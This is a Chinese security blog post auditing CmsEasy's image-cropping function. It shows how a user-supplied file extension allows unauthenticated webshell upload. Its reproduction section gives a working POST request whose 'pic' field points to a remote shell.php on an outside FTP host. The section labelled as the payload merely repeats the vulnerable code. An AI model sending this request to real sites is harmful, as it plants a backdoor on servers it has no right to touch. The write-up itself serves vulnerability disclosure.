• 投稿邮箱:admin@xssec.org 查看详情
  • 本站教程默认解压密码:666
  • 官方新浪微博:Porry呦
  •    3周前 (12-25)  漏洞库 评论关闭

    0x01 代码审计

    lib/default/tool_act.php 392行

    <?php
    function cut_image_action() {
                $len = 1;
                if(config::get('base_url') != '/'){
                        $len = strlen(config::get('base_url'))+1;
                }
                if(substr($_POST['pic'],0,4) == 'http'){
                        front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
                }else{
                        front::$post['thumb'] = substr($_POST['pic'],$len);
                }
            $thumb = new thumb();
            $thumb->set(front::$post['thumb'],'jpg');
            $img = $thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'] -$_POST['y1']);
            $exts = array('jpg','gif','png','jpeg','bmp');
            $ext = end(explode('.',$_POST['pic']));
            if(in_array(strtolower($ext),$exts)){
                $new_name = $new_name_gbk = str_replace('.','',Time::getMicrotime()).'.'.$ext;
                $save_file = 'upload/images/'.date('Ym').'/'.$new_name;
                @mkdir(dirname(ROOT.'/'.$save_file));
                ob_start();
                $thumb->out_image($img,null,85);
                file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
                ob_end_clean();
                $image_url = config::get('base_url').'/'.$save_file;
                //$res['size']=ceil(strlen($img) / 1024);
                $res['code']="
                     //$('#cut_preview').attr('src','$image_url');
                     $('#thumb').val('$image_url');
                                     alert(lang('save_success'));
                    ";
                echo json::encode($res);
            }
    
        }
    

    文件名的生成代码:

    $new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
    

    直接用了$_POST[‘pic’]的后缀做为新文件的扩展名,这里可以直接getshell
    构造payload:

    $len = 1;
    if(config::get('base_url') != '/'){
        $len = strlen(config::get('base_url'))+1;
    }
    if(substr($_POST['pic'],0,4) == 'http'){
        front::$post['thumb'] =
        str_ireplace(config::get('site_url'),'',$_POST['pic']);
    }else{
        front::$post['thumb'] = substr($_POST['pic'],$len);
    }
    

    0x02 漏洞复现

    POST /index.php?case=tool&act=cut_image
    pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
    

    CmsEasy前台无限制GetShell

     

    除特别注明外,本站所有文章均为新世纪安全社区原创,转载请注明出处来自http://www.xssec.org/1441.html

    八块腹肌挂腰间,续写另类拳皇篇。
    
    切换注册

    登录

    忘记密码 ?

    您也可以使用第三方帐号快捷登录

    切换登录

    注册

    扫一扫二维码分享